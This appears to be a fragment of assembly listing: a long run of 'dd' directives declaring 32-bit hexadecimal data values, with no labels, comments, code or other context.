		dd 0A701E1D4h, 0B012D8EDh, 0AF24812Bh, 3B7BE8DBh, 0E1E5CF2Ch
		dd 8B416C2Ch, 902A6F32h, 0F9F15DA4h, 0F6581A07h, 71BB0856h
		dd 18ACD1D0h, 7DF89Eh, 0FB9F2381h, 0E198E7B6h, 82A5D812h
		dd 143CCF0h, 30E5C5AAh,	68200847h, 0DD9917F0h, 0C8EF00B1h
		dd 2F9B0390h, 20201C43h, 9EB32DA6h, 3A2AE4A9h, 9CBDAC12h
		dd 0E4128FB8h, 98E4FDA0h, 360C06B9h, 29A5C870h,	616CA40Fh
		dd 81138D3Dh, 0CD006033h, 3C4EC3E9h, 5E2E4B3h, 0F4AB8100h
		dd 0DF8FF231h, 0EC471732h, 0C54C241Fh, 78E8ECFDh, 91728008h
		dd 493429BCh, 775180DBh, 0E7823468h, 11416787h,	0A86FF808h
		dd 564BDE00h, 0FED5C22h, 818B0A38h, 0CBCF126h, 0E5A102D8h
		dd 0F43D7B09h, 0DBD84055h, 2517E2E9h, 50719BFBh, 0F018B079h
		dd 752E3200h, 0AA21E849h, 0F0CA60D1h, 0E2847D3h, 312FAE81h
		dd 879A6058h, 0A72794D9h, 0E8500C41h, 9E24DF8h,	0CCD9C0D8h
		dd 3305387Ah, 7F46ADC8h, 35C5C840h, 0B2C41A5h, 8FCB7D75h
		dd 0DC0F5449h, 130031F7h, 3C387EF9h, 0F51C41Fh,	70C14EEEh
		dd 0DDD040FDh, 0D9B00890h, 891CEB48h, 801C7436h, 1146D3D0h
		dd 9C3B30A5h, 0F00A8122h, 1BDDAA7Fh, 0E258127Eh, 7BB72564h
		dd 82C25880h, 0C7816A1Ch, 0B949A902h, 4018550Eh, 723E4069h
		dd 98145828h, 606E3218h, 1ED008DEh, 21244C37h, 3160A48Eh
		dd 0AA1B903Fh, 0E45CE5B8h, 623D6014h, 16C50B6Eh, 0DC58257Ah
		dd 50473F08h, 0C9901A06h, 16243755h, 0BB50B20h,	44F4880Ah
		dd 0CB9CBC2Bh, 0DB084936h, 0B4EC3A2Eh, 1BC0C0DBh, 42CA125Eh
		dd 0EEDC4601h, 11CC473Dh, 37E09C76h, 5F02863Eh,	24435BFEh
		dd 0FF492EE6h, 54158CC8h, 0C481324Eh, 213A45A8h, 0C5AAA41Ch
		dd 0E89029C4h, 0C1500079h, 97883B65h, 0C705A6B6h, 0D51A5443h
		dd 40D53817h, 5F625CF0h, 0C8088EC5h, 0DFF5C0AFh, 0C5096502h
		dd 89DC2D46h, 0F2CCDB2Ch, 7A6A387h, 40FF6E3Ah, 6CBD0117h
		dd 2FFB588Ch, 2F336C21h, 947421E9h, 98AC2D7Ah, 0A06448E7h
		dd 4147AA60h, 0F8E94607h, 9340B975h, 92555F5h, 2B8EC879h
		dd 0A279D479h, 0E601F718h, 0EEFE3116h, 41C88192h, 0E8C0CFA9h
		dd 323021A0h, 6C797B14h, 0EA53E104h, 0E4E99786h, 0F5721806h
		dd 0B72530A4h, 0F68DA41h, 872528ECh, 8DFCC0B6h,	0C05A4599h
		dd 0A1C8508Eh, 0C24C78C0h, 0E6004B7h, 0F84A543Dh, 4DA00A6Ch
		dd 5127E8B4h, 18AFD184h, 1233009Eh, 0B13A3013h,	740924C9h
		dd 7960A0BCh, 0FBA4BA5Ch, 0C1B4090h, 0A68099B2h, 80845EFEh
		dd 9A21D03Ch, 0CC801D5Ah, 95F38F9Bh, 69105000h,	490B3D7Ch
		dd 0CDA8E8A6h, 0D56CC04Ch, 1D076DCAh, 2F32D29Fh, 602706h
		dd 3FE436DEh, 193CCB1Ch, 11B49D97h, 87A78010h, 0B8B65CFAh
		dd 3DC99862h, 125B45A0h, 4AF0B378h, 1523782Fh, 48ACD500h
		dd 4891CAF9h, 36003079h, 8A08C813h, 0A949EA7Fh,	0DA638BD0h
		dd 1EF7E430h, 80C1220Ah, 328C4BCBh, 0B7020CF0h,	2BC94EA9h
		dd 0D85869A6h, 4FADD3F4h, 786CA399h, 0F1E2DE00h, 0E6E7CEE8h
		dd 61400051h, 3FAEBD36h, 0C991858h, 50FCDB4Bh, 0E00C5BDh
		dd 4B384340h, 0F63786D2h, 9BD44E1Eh, 0D2A1C010h, 32AD09A9h
		dd 9AD074E0h, 82A0BB20h, 721909D7h, 0D0C4C14Dh,	0E836E945h
		dd 0F68C9FF0h, 742D3305h, 0F8B2F8D6h, 6E000A3Dh, 718124BDh
		dd 1E0090CEh, 2A51A505h, 7722E0h, 9539AC0Fh, 0C6424BDEh
		dd 0F0CCED4Bh, 674427FEh, 710C09h, 0CA35A689h, 0E9085E7Ch
		dd 12D43454h, 0E7C3AADCh, 0E28452FCh, 94DE300Fh, 42010BE0h
		dd 59E79A3Fh, 403AB346h, 8958C65Ch, 0E5025D75h,	78A21C2h
		dd 0E6105EA8h, 0F0943116h, 0AD1301DCh, 0B6DF928Eh, 0B4317E4Bh
		dd 912FAA75h, 17159F0Ch, 0CCF8B4A5h, 0C1F172B0h, 18882896h
		dd 440D002Eh, 0D61AC326h, 69D40697h, 728E1E30h,	0B72F6009h
		dd 0A4ACE84Ah, 307E51A1h, 5CB4202Fh, 0B641D9AAh, 7B09F439h
		dd 0C50842Fh, 8ABF360Fh, 0C5C089C9h, 600FC4DCh,	0B44073h
		dd 6A7EDB45h, 61A07CF0h, 0BF1C10BFh, 54F80056h,	589C8738h
		dd 3213E06Ah, 68B2B88Bh, 1B30A7E2h, 4750007Eh, 33384A2Fh
		dd 4CBC038Fh, 3CF22212h, 0A0E84458h, 5A50028Ch,	90C34A64h
		dd 4F8E30DCh, 27A36003h, 2C289922h, 1134E0E8h, 0DFF30FC8h
		dd 5CE949DDh, 13FC2C28h, 0B890B99Fh, 0A37914AEh, 0A64FC4F6h
		dd 244E018h, 46C30309h,	7E45F6A4h, 82696101h, 0BA731561h
		dd 0C0EA7431h, 0C14A144h, 0B5469D18h, 431F4C29h, 2C40381Ah
		dd 58455C60h, 5F183AE1h, 0E82A4F82h, 24440FB9h,	9B43F480h
		dd 2F31070Bh, 0AD486098h, 9DF0A0C9h, 4284BCA7h,	0F440AFDAh
		dd 0B35A4DE6h, 6BAEA0C0h, 87840279h, 0B9F43DF0h, 0BC56D8CAh
		dd 59B0D9E9h, 246D18B4h, 2726243Fh, 0F645C67h, 0A2B53D60h
		dd 5DC3E0Fh, 2C895DDDh,	0E448456Ah, 31660B3h, 0CA0D00F3h
		dd 0FC302226h, 255EEF8Fh, 5FFDD4D1h, 74FC08E6h,	974F18F7h
		dd 5600A4C4h, 0EC45D394h, 3CA947h, 0AFF75C2Ah, 1579C0FFh
		dd 0DEF9F43Bh, 0CD330CC1h, 6E0B4038h, 2C53C11Eh, 0B175A05Bh
		dd 2284343Fh, 0D2ECECD0h, 1023800Eh, 0B6CF3608h, 2B414318h
		dd 444B12E5h, 0EC44129Bh, 8C19E8E0h, 20321B17h,	0B8F72CA2h
		dd 320242CAh, 0E031A33Ah, 2E27334h, 75FDA272h, 10D6FC28h
		dd 7AC4674h, 18EB98BDh,	0E1D07950h, 2238019Dh, 0E0F8E931h
		dd 80086CCBh, 95444112h, 5A990362h, 65AF0D4Dh, 715F15D0h
		dd 0CCEBED2Ch, 31C28F0Ch, 0C3210069h, 5354D745h, 0F277FDCFh
		dd 6F80F4BCh, 9BA41172h, 66CD1F5Ch, 0E5E6DDE3h,	0D1009044h
		dd 8CBE44ABh, 9FAF7EAEh, 0E9D93C60h, 0ACF3BA4Ah, 7CE24Eh
		dd 108CABE6h, 6176C34h,	30C78F6Eh, 74B029A7h, 0EA262EF8h
		dd 68021F0Fh, 5786D9EDh, 0A0AD6890h, 97EB3F05h,	44E0A99Ah
		dd 9DC91312h, 0DE9020A4h, 63B5483Dh, 0E016D4ACh, 4082A938h
		dd 809A8708h, 1CB6D963h, 1C605125h, 25BA0031h, 0FEC4D4AEh
		dd 0F9099802h, 57EBA4FDh, 415B4C80h, 0D4E9BF3Dh, 297F34Ch
		dd 56790D60h, 5EE3C09Ch, 583FB5F8h, 8280001Dh, 0B653364Dh
		dd 0EA40748Bh, 8F6A00A4h, 1908E8E9h, 0CE43D830h, 0F464C400h
		dd 0E490753Dh, 0E909CF7Fh, 0F470799Dh, 480E4388h, 0FF699EDFh
		dd 816C94A2h, 915C027Dh, 0CFACA0B9h, 36521FCh, 0CADADDAAh
		dd 0A9D04A2Ch, 0DFECB72Dh, 7940E895h, 0E8AC4FE3h, 28C85F75h
		dd 0FD23381Dh, 0BC926A81h, 0D0F281A0h, 0D03CD66Ch, 426905AFh
		dd 48CC4667h, 0E89B5348h, 0A445A05h, 0A008AACAh, 40702524h
		dd 5E543D12h, 4AEB8C4h,	0B8F04640h, 77F61144h, 8400AA22h
		dd 0ADDA1BE8h, 5639DFh,	3F0E410Fh, 6662C06Eh, 36BB7A0Ch
		dd 444339D1h, 0D838B9ACh, 6FEB8086h, 0AE4EF926h, 99B00081h
		dd 55B84671h, 16488D80h, 0D035011Ch, 23A83F32h,	6010493Eh
		dd 82445C5Eh, 0CB285E5Eh, 0E0E0728Bh, 0B04015FCh, 41A82E31h
		dd 199261C8h, 37D507ADh, 0EC818025h, 9103BBE1h,	3F78A902h
		dd 0DC5B180Ch, 154676CCh, 0F8FDD801h, 6001F4C6h, 0A24B5484h
		dd 40235489h, 4338B4A2h, 0AA5A242Ch, 7C9B41A0h,	0E89C2CFFh
		dd 0D03A8CAFh, 10E58064h, 0D187FB20h, 190C0BBDh, 389B7h
		dd 304AC34Dh, 0AD87149Bh, 40ECF2F7h, 480F10E0h,	1A531201h
		dd 23B9844Eh, 61C1A46Ch, 3B922FD2h, 95F26442h, 0D96EC075h
		dd 9B370787h, 67E4D6A1h
		dd 0B06DA992h, 4F343160h, 72220933h, 107CBEC1h,	1220FB88h
		dd 6E48F505h, 1713C46Eh, 91E830C7h, 0AD008051h,	4C60C55h
		dd 2FA00D0Bh, 24401F25h, 38A108E9h, 0ACC3F2A6h,	899F1809h
		dd 230706Dh, 9A63FB5Bh,	48DE8BBAh, 75F600DCh, 0A8D11997h
		dd 32264B0Eh, 0BF0118D3h, 5192222Fh, 0B530022Eh, 4CD68F40h
		dd 0AD4676h, 7E4F5D77h,	0E23EBAEh, 0BC69339Ch, 0F4453BE0h
		dd 27162D9Fh, 0FC9BFF82h, 26D05EC0h, 0B613E8E4h, 7700814Eh
		dd 15D99218h, 3FE4A083h, 0D4192F68h, 9C80F437h,	9DA9DF37h
		dd 0B2CF0050h, 32C56842h, 0A003DED2h, 28A73D3Ah, 0E8087839h
		dd 0C410907Bh, 0B211D319h, 31A5E20Ch, 0CAC9D4C1h, 4C97E102h
		dd 0C0805029h, 0ADE4DDCh, 345E6A4Bh, 0B44674C8h, 0CB93A05h
		dd 524AC12Dh, 0CC883456h, 0A963D711h, 0FB7C39h,	0AF720B3Ch
		dd 0F4D09A9Eh, 48F77300h, 8354B22h, 0FAD8B04Dh,	0FACE807Dh
		dd 0BBF8F0Bh, 2D24FAD4h, 48598E9Eh, 8B18B2D9h, 0A5B0B600h
		dd 0C55C43A6h, 0C27C0946h, 4D17873h, 0E018A4F1h, 5F11D203h
		dd 80B110A8h, 0C0BB919Bh, 5928EF79h, 131D6E8Bh,	0E680569Fh
		dd 0F1884CD3h, 0B4250F04h, 0C4767A16h, 0C998B8C4h, 606CCDB7h
		dd 486D1052h, 0BBE85409h, 2510488Fh, 0D4AC00EAh, 9410E262h
		dd 0E47304D0h, 4C078F2Ch, 80A0E881h, 47C2FC9h, 94CCC7D6h
		dd 68C912C4h, 383FAF00h, 0FD510E7Ch, 0A0532FC8h, 20A4B474h
		dd 8AB3CB40h, 383775h, 0E6EC3BB2h, 7D0045ABh, 8FB0DE49h
		dd 0ACD41057h, 0A4C50E38h, 1E9025A9h, 0E80E3947h, 361840BDh
		dd 9EF65F9h, 0B87333C4h, 0D6605Eh, 8823395Ch, 471C52AFh
		dd 4E0E6E09h, 0C1B86D7Ch, 2056C2D3h, 3D89706Ch,	97A53EDCh
		dd 723378E8h, 3ED0E595h, 19BAF10h, 0B1544DF8h, 126E7F90h
		dd 0B85CF994h, 65A30044h, 204A3740h, 2704695Bh,	8B3F24F8h
		dd 7888A4C9h, 0E0017B2Fh, 980DD889h, 0EE2CC93Fh, 486FE1C0h
		dd 0D200DE7Fh, 9B4BE363h, 9987407h, 0D3D7DBF6h,	751CA859h
		dd 7379D540h, 9B81C6Ch,	0AFEE4F29h, 0A4CFB45Eh,	1A39A45Ah
		dd 5652C9B8h, 23584764h, 81A88F90h, 0F00B449h, 0C3F604B3h
		dd 0B6FB8BDh, 8990DBA4h, 17B95422h, 0A68F2474h,	2073684Dh
		dd 5E48FAD8h, 8870CE19h, 8A41CE10h, 0CC1C1680h,	0AE62CD97h
		dd 0A0CF60h, 0E25951E6h, 2F55EB1Eh, 11349FADh, 0B4D480AEh
		dd 4A7A2244h, 845083A4h, 0B3DAC017h, 12B29CB3h,	0E38C30h
		dd 758AE4BBh, 0D137E64Eh, 0A60960B4h, 0C0A8CD7Eh, 1ACA5704h
		dd 2216130Bh, 5A500156h, 90278354h, 8C4BE00h, 0E41FCAFh
		dd 4D42DF0Fh, 43809F04h, 8FCB078Bh, 921F5FDBh, 0CC54A01Ch
		dd 0D9630EF6h, 0FC0115Dh, 757A92E0h, 0FCD0E49Dh, 86A10042h
		dd 0B0EEFCD3h, 9E001C27h, 0CF73273h, 303B01h, 0BE4DF208h
		dd 0CCCECFC2h, 79C4F801h, 80E27F94h, 82B8DB6Bh,	55FDA2B6h
		dd 0B491449Fh, 2AC3BF82h, 0DB359472h, 440B9830h, 2BD8C887h
		dd 0D4C2B5CAh, 48375Dh,	19C569A7h, 220913E6h, 0C4567BB9h
		dd 0AC1F0354h, 4D44E96Ah, 62C7A993h, 0E4E182C5h, 94CE2BF6h
		dd 10C0B388h, 433CD2Fh,	9F9DCE31h, 4454E4B2h, 46700186h
		dd 31722212h, 6C6D2FA8h, 23E82B2Bh, 9AC700A6h, 385801F4h
		dd 0EE95FBEEh, 0AB15E18Ch, 0E2662430h, 0CB9A0001h, 86B1CA79h
		dd 8E5BF991h, 0A8A04CF7h, 0A11497EDh, 1603EB7h,	43F074ADh
		dd 986CF5F4h, 4BDDCE00h, 0F8032F6Ah, 0A91F7E12h, 791E6C01h
		dd 0B8E3368Bh, 42DA004h, 289FFC78h, 0C07CBCE0h,	9B18E7F5h
		dd 0E478001Eh, 60392E9Fh, 0BB71FB9Eh, 0A2DCE8CEh, 58FAD390h
		dd 0DD5E0634h, 2838DB71h, 18210368h, 49CFD30Ch,	9EC425C8h
		dd 18F2E8E6h, 34DE6F26h, 0E480452Dh, 81946012h,	507A019Bh
		dd 83D934EEh, 735C6013h, 80A34C4Eh, 0FD1C9002h,	9DF59A78h
		dd 80AC9128h, 8FE88155h, 77660010h, 0FE6429Bh, 1B5B5260h
		dd 387F888h, 6804CF5h, 9AA15041h, 30092E11h, 498CD1E3h
		dd 73A5947Eh, 0C82D719Ch, 6D0009BCh, 2746931Eh,	12EB6C7Fh
		dd 0E3F42039h, 5BB72DFCh, 0D12A585Ch, 6E338809h, 2F94798Dh
		dd 0B8C0A0EDh, 26AF7CDDh, 251EF9C0h, 0D8BBB0CCh, 7680F450h
		dd 4670A1h, 0EA52B0F5h,	60BC4A4Bh, 0D014A909h, 400C743Eh
		dd 0B771A276h, 5447C0C0h, 4FD29B2Fh, 1CF4A2F8h,	0FB405717h
		dd 6785504Ch, 47920014h, 98E7D426h, 320EBACCh, 0D2A6ADCDh
		dd 0A5E864F8h, 0F33B028Ch, 0AE60D845h, 950010F5h, 0C623F13h
		dd 0F880403h, 6EB9B93Eh, 0B0742BD9h, 45A88CA9h,	98AF3C00h
		dd 0E41CA0A5h, 0A00862Ah, 36DC5EACh, 124E509Ah,	0E857626Bh
		dd 21E6C75Ch, 20BA3394h, 0C97218F0h, 50D7A54Ah,	93B0F80Bh
		dd 1E7F78ACh, 0DC3D8D03h, 0E3F46C90h, 4631802Ch, 23749E5Bh
		dd 0C26878B4h, 0F227720Eh, 0A92585A1h, 340740F4h, 0B8C8D3F9h
		dd 8F3381FCh, 720D1CD7h, 30B3F24Ch, 6900FB82h, 0BD4FE7D1h
		dd 0C5BF370h, 0B5F97290h, 6E5CF881h, 8C16E810h,	24FCFD07h
		dd 0D1E0699Ch, 9502238Fh, 87DC74A2h, 0B7F7A442h, 0D9DF002Ch
		dd 0B55AE1Ch, 7217E80Bh, 0D8D8E141h, 0A690826Fh, 0AD036C00h
		dd 8F37C3Eh, 40A517EBh,	0AA47B787h, 0C08CDC49h,	184C7D03h
		dd 0C9CD7002h, 0D5F59217h, 28C4C4A9h, 0AFFF3900h, 19F8E0B1h
		dd 54D900E7h, 18426422h, 34144CA1h, 4AC8C710h, 0BFE308E6h
		dd 0A8F74580h, 511830B7h, 918400CAh, 7C0A4989h,	0C43B77E3h
		dd 9CF2A681h, 16C08C0h,	0A3DF5A29h, 9C6E5AE8h, 0E1F41700h
		dd 0C83D81D0h, 8E724D16h, 0A48054ACh, 71FF83C2h, 3DA88A03h
		dd 0A3AE4AEEh, 6FC0CFECh, 0F2E8E7DAh, 244109C9h, 0D45A4721h
		dd 0BAAEB1Dh, 0C5336B40h, 28129ACh, 0F0382F64h,	5FCEAFh
		dd 69217088h, 87233496h, 0D87BBBE0h, 3474200h, 68799C35h
		dd 5AB39212h, 2D390E8h,	1C7F7A74h, 2F0DC411h, 4084D0DAh
		dd 7047C2EAh, 0D4EF9761h, 2F0BC34Dh, 4DBDEEDh, 0DF47A46Ch
		dd 0EE800FFDh, 0C769FAD9h, 0AE8C2103h, 0E0EF6140h, 48C91CB1h
		dd 0DF16D442h, 0BC40AC36h, 0C17C8CACh, 0B903AE05h, 0E0532F23h
		dd 0B3A854E2h, 89608507h, 3FB01776h, 2C94A2ADh,	825CD199h
		dd 79B8F31h, 2A0145Dh, 87A8778Dh, 307CC837h, 9D721605h
		dd 845858BCh, 751A8B10h, 10FC1C1Eh, 36481360h, 4A34A338h
		dd 7DE034A6h, 620B74B4h, 815BE1EDh, 3DEE5FC0h, 8FD8446Fh
		dd 1B81027Bh, 172476CEh, 0C0E4B92Bh, 0CF63113Fh, 1240E64Ch
		dd 0B8C9873Eh, 8CA9BC6Ch, 921618E8h, 5444AEF9h,	0E8EDB88Bh
		dd 0FAE2A0ACh, 0FEA4BE02h, 0C23F30F8h, 0E094053Dh, 0B16801ABh
		dd 7827FDA2h, 28A64AC4h, 1E8F11E0h, 0F882A002h,	66B0A39Dh
		dd 0C9144ACh, 1727DA27h, 80AD910Ch, 41229A31h, 85211ED4h
		dd 0C470B4Ah, 0B71764F6h, 17BC48BDh, 447F8F0Dh,	9B6E4056h
		dd 0DFB085ACh, 150FA004h, 0EEEDF0BCh, 171F330h,	9B942940h
		dd 83AB4738h, 13B7E4A9h, 0F8E2D8AAh, 0CDAD0027h, 2F8B04B4h
		dd 7012026Eh, 7CB25514h, 64D62Ch, 0C409716Bh, 209EF6Eh
		dd 0D0E3285Ah, 437278h,	38DD5329h, 0F8E82706h, 8478E000h
		dd 42D97EB9h, 407D0F3Ch, 0D3C5E9D1h, 23682E27h,	3F9202B7h
		dd 0E056AB9Eh, 0F0A50ACh, 76C0D823h, 0B5AC9192h, 0ADD7FC02h
		dd 0C5E99474h, 60B464D8h, 0B41BB992h, 34FE8290h, 800F6EDFh
		dd 0CD334D0Ch, 60449723h, 0C0E44DBFh, 0DC4A4711h, 4FFBD905h
		dd 0D082A625h, 5FC90095h
		dd 704B32C5h, 95883CA2h, 28083A96h, 25F4A89Dh, 20D1C7BDh
		dd 7CD618A4h, 0D04404C0h, 0BB147D2Fh, 80EC8C23h, 69D66Eh
		dd 87A22448h, 0A37F8BEEh, 80E9FC00h, 0DDDF3B47h, 14B90189h
		dd 0D979C431h, 49AC4890h, 0CEFDA700h, 0E805FCFBh, 682F007Ah
		dd 1E846D98h, 0A516712Eh, 0B8B062C3h, 8EC75F31h, 0C7A2C830h
		dd 29D820FCh, 21024458h, 6380A0BDh, 58D4D8E3h, 0D2805435h
		dd 0B1D5DFF8h, 98ADC6F6h, 0AEBCE5E0h, 0FEA73C8Bh, 24B9808Bh
		dd 4510AC64h, 0EB169EAFh, 4A18EC23h, 0A2B290F3h, 0E2AD8830h
		dd 0AB5004Ch, 5FAEBD0Ch, 9F5E3F8Ah, 44439882h, 842301F8h
		dd 0B9D5FED1h, 1877D4B7h, 6B0022F6h, 0A806BD56h, 4BCCDA7Dh
		dd 0F2E0B227h, 329730B2h, 0CC80E300h, 24FE46D5h, 0E890605Bh
		dd 77F98DE4h, 5791D891h, 92BCB94Ah, 0B7C82C8Bh,	36A4DDC1h
		dd 0B098907Ah, 95019D05h, 0B9E1478Ah, 826E290Ah, 0B47487F8h
		dd 0F4585625h, 0F6277738h, 43B0370Ch, 179B97Dh,	6BBE57D2h
		dd 2FFE543Dh, 11D0F802h, 5EDC7EC9h, 4B17A946h, 7420D038h
		dd 6501EE93h, 0CEDAA51Ch, 2821973Fh, 0FF2DAC66h, 0C30918D0h
		dd 0D9B5DA0Ah, 42A84404h, 5E5DA296h, 481ED8h, 666774A4h
		dd 9300AEBEh, 0DC4D1450h, 13C9BF64h, 0B40B1646h, 0CB883600h
		dd 2BF2F7h, 394BDDD4h, 0AFF2E077h, 372861B7h, 259D5C41h
		dd 49EEFF4h, 479FDCDAh,	92ECE8A5h, 0AA01D005h, 9DAE40C8h
		dd 0E68A0C90h, 0CBEDC316h, 338C5B01h, 7F7C2Fh, 321CAE1Ch
		dd 63808DBFh, 6051C096h, 0D6B13733h, 14E7D000h,	0E67C4750h
		dd 0D9E93A4Dh, 31494501h, 6E1D043Fh, 0DB4F3CD0h, 915E1B21h
		dd 300C51C4h, 0CE3D0FD7h, 0C9A4A0A1h, 9B970242h, 0BBC138A8h
		dd 8CBB040h, 4C810C8h, 0BAF43277h, 0F112304Bh, 0D6E98164h
		dd 918EED90h, 8800A4B1h, 0C60A9697h, 4CB70B69h,	3F320CA8h
		dd 18A80588h, 6BFB5612h, 2B114C82h, 9E403C7Eh, 442B7CBh
		dd 131DA814h, 30511479h, 0A9C28920h, 4FC90066h,	8F5625E2h
		dd 1713F279h, 0DCA26D9Ah, 163010h, 0CB906754h, 887846A5h
		dd 12D9735h, 0D9A8513Dh, 0EE18A5h, 94D24588h, 0E1DCE851h
		dd 0EC748B12h, 0FDA6F802h, 57A4CAFBh, 13913CB5h, 7C204C80h
		dd 639A366h, 588EB125h,	0BC38B493h, 0E008A65Ah,	0F6D6C4Ah
		dd 0A7324B44h, 0A8C02FC0h, 5395CC59h, 0D5157000h, 776D0802h
		dd 54279005h, 0CFAFCEBCh, 37CC25B0h, 0AEDF0EF0h, 45345A20h
		dd 430BB513h, 0C098362Ch, 9988D280h, 18AAD14Ch,	26DF1E88h
		dd 0EC8F9645h, 0E4A69340h, 3A5CDEB0h, 50BF2C09h, 4BAC78A6h
		dd 8384A356h, 4EA13DB7h, 70B0A289h, 8C43600h, 0F6B2DB85h
		dd 75F701C1h, 0BF7FD0D8h, 0B48F6E15h, 1CC0AB88h, 58343604h
		dd 0D42DDC2Fh, 82478830h, 0CBD7E612h, 458270E9h, 0B1DA95Fh
		dd 7412341Ch, 0DE380B77h, 7F01DC70h, 0A2D0994h,	6ED0452Eh
		dd 8BD900F9h, 18B66C3Ch, 0B94E2972h, 9DB9044h, 0A384BC12h
		dd 0CB13A4B6h, 0C014C824h, 2D558973h, 3F38101Ch, 80C66480h
		dd 0B23DF443h, 78732748h, 0A5F130D1h, 60398C18h, 4F208EACh
		dd 0F2B1C54Bh, 0F986B884h, 0C6A88160h, 2DF7BD13h, 35A2F014h
		dd 90DDFB2Dh, 0E86B87D8h, 17014F72h, 7C848D00h,	9B561058h
		dd 4F5CF34Ah, 291B9082h, 0A5794071h, 9601F918h,	2242FF0Fh
		dd 0A4299230h, 20242707h, 196F200Dh, 0A60156FAh, 40DA5F2Eh
		dd 0C7CDE9FCh, 0B000283Ah, 2F31C440h, 0E8D2EC2Fh, 84E1922Dh
		dd 74B6D8A8h, 0AC8299E2h, 0C904B1D2h, 0B64A24E8h, 35B6B0D8h
		dd 8F2E8823h, 17883C00h, 0B1151872h, 0C76D3E59h, 0B0DB4D17h
		dd 770CE9A4h, 0C0B21D92h, 9A6B25F8h, 16E438E5h,	69BBD360h
		dd 40E48B00h, 0A79D83B2h, 0B4CB4B16h, 624A37DCh, 2C7E48F3h
		dd 9F883D7Ah, 20800CCBh, 2BF79219h, 0B9E87C80h,	69276123h
		dd 51CA371Ch, 3BADFA9Ch, 7188E0CFh, 0EF0D4CC0h,	0A23700F7h
		dd 47F836D2h, 7B2A25A0h, 523AF87Ah, 749F5AB2h, 1C040293h
		dd 9ED779DEh, 94819D94h, 2918B9EBh, 9D63E30h, 0E843AEF8h
		dd 0F24A04h, 145FE427h,	0CC89AC25h, 90E3FA12h, 0D8F2C023h
		dd 93EEC67h, 4BB6D1AEh,	7118D4E4h, 0FAA13DD9h, 80A005BCh
		dd 42F21EDh, 0B5C1D2CCh, 0E4E32AE4h, 21E0813h, 11D3C325h
		dd 11B81755h, 82748BACh, 5D2DDC74h, 6D55C03Ah, 0BEF6C068h
		dd 3D03B690h, 2C5F25C5h, 0A1F4B0E9h, 0E4169D98h, 4656A894h
		dd 341200AFh, 0A8F5BA8Eh, 63910311h, 93AEBCD0h,	3B4626B8h
		dd 1F9CB40h, 96B4A0DDh,	3AAA18C5h, 18A90056h, 4B09E2B8h
		dd 938560Ch, 3FE5843Bh,	0A61425BBh, 11E6E080h, 0B2DD00A8h
		dd 0A3D89F28h, 978E2Ah,	0E692AEC8h, 0E306026Eh,	89AA77EBh
		dd 8412A456h, 28C248ECh, 0FDF5345h, 756622E4h, 3C915D33h
		dd 0E4DCD954h, 7E4FA6D0h, 0EB809CDBh, 0A9968324h, 0A09F5902h
		dd 0F973DBFDh, 18B3D968h, 2D1F00ADh, 1858F2F0h,	21BD957Ah
		dd 0C59B06F4h, 0C0DCDA7Ah, 521D76Eh, 8CF32C31h,	117C2630h
		dd 0B8C34AC7h, 0D8DFF892h, 278978DDh, 1462E352h, 0AD793071h
		dd 201CCD19h, 785B816Ch, 0DB4FBCB7h, 87B98FA4h,	0F877ED4Ah
		dd 974444DEh, 0E05800BFh, 2AB14534h, 0B76CBD00h, 9C2B0F6Dh
		dd 1A7202ABh, 9A17E8E6h, 2A83BE61h, 22CC002h, 4DA601C9h
		dd 2A4788Bh, 80A5AFEBh,	0A8125F3Fh, 6E83D0C0h, 6046AE88h
		dd 5AD5E9B6h, 0B800F790h, 5FFBAB39h, 5F8B2A1h, 5421FE7Bh
		dd 9DCF8D9h, 0F33491B7h, 0E2903FDCh, 31CE02D3h,	0DDAA55D2h
		dd 2BC87011h, 0ADB2E8F3h, 9524A130h, 3AFC58E1h,	78FDA874h
		dd 0E78BA328h, 0D1468096h, 0F418E824h, 427781Eh, 105045A0h
		dd 0DB8CB0F4h, 9EC410C7h, 38A24B2Bh, 0AD63E19Fh, 752934DDh
		dd 0E5180621h, 41974903h, 0C82E1048h, 3D0B7838h, 0F6F81C4Fh
		dd 18AD6738h, 7613258Bh, 1D151F98h, 42A8A619h, 967581ABh
		dd 8B472728h, 0B89C905Ah, 0B2665BD6h, 29208B3Ch, 7018F390h
		dd 9D07F9C1h, 0B0483D4Ah, 0F7F6B8D0h, 0A6B65B75h, 30B0B2A8h
		dd 0AA0F7458h, 69C91744h, 4D54E266h, 7280E028h,	5D018BCDh
		dd 7F2FD282h, 202F3433h, 199A8E68h, 9D3FB540h, 685C1812h
		dd 6B2503DCh, 9727FE06h, 0A8F22DEBh, 3058CC52h,	70922DA0h
		dd 4A1878E0h, 0E5C4C978h, 0C0217BA7h, 8E109D41h, 0A55BA17Ah
		dd 955474F4h, 0A2A4F002h, 918A847Ch, 3A81A0C7h,	0B6504FF9h
		dd 3360CC2Eh, 0FEA82F12h, 6BAA7CF0h, 8CDC5049h,	0D8E07DEh
		dd 7FD2D8C6h, 48E2D960h, 4697DA91h, 44CDB5ACh, 0FB5DABC0h
		dd 534A056Ah, 0FA139E32h, 1023A06Bh, 87D81C00h,	2DB52DF2h
		dd 0D4D0F532h, 465E1C94h, 0D83C7CAFh, 989007Bh,	0ECD4769Ch
		dd 0BDA27817h, 3DEE48E0h, 0E8925473h, 0F82FD8B0h, 70A47B6Eh
		dd 6408498Bh, 0A42515B9h, 969309F0h, 3EA4B17Dh,	97C7BC40h
		dd 0B76E4BBEh, 0D0F65A28h, 3A9D76A0h, 3F3D4B78h, 0CC3382DEh
		dd 78074630h, 24B79D38h, 0C0112F04h, 0E1F97887h, 0DB2FB738h
		dd 0EC09C048h, 562D12Ch, 80B1D233h, 0AABC0B0Dh,	0FC5EB8ABh
		dd 0ECA91255h, 3ABCD050h, 9DF8402Fh, 0A989A460h, 185B97E0h
		dd 3202BCF3h, 61998D73h, 6D2F0CFEh, 4BF2C080h, 4801581Ch
		dd 0DA51E62Dh, 0E5EDC5C0h, 0BAB4C57Eh, 95E31428h, 0A2F1C071h
		dd 0ED39C718h, 9ACC096Bh, 611C8317h, 2EC000C8h,	4E494DE6h
		dd 372421F8h, 0E2DEEC2Fh, 64A501B2h, 3D8031A7h,	0CDB87094h
		dd 89D87E52h, 82886860h
		dd 3E160335h, 0C090052Dh, 0DA27510Eh, 0DE5FC394h, 2E3DC8E0h
		dd 0B7E65BCCh, 0B08A4E50h, 7FC11AC8h, 3C729181h, 2200903Ch
		dd 0BADDCA56h, 6402E796h, 0DF8F3435h, 0E0C05E05h, 1AE82FCBh
		dd 19919C2h, 25F070C4h,	34D9B269h, 8650C644h, 87A61C13h
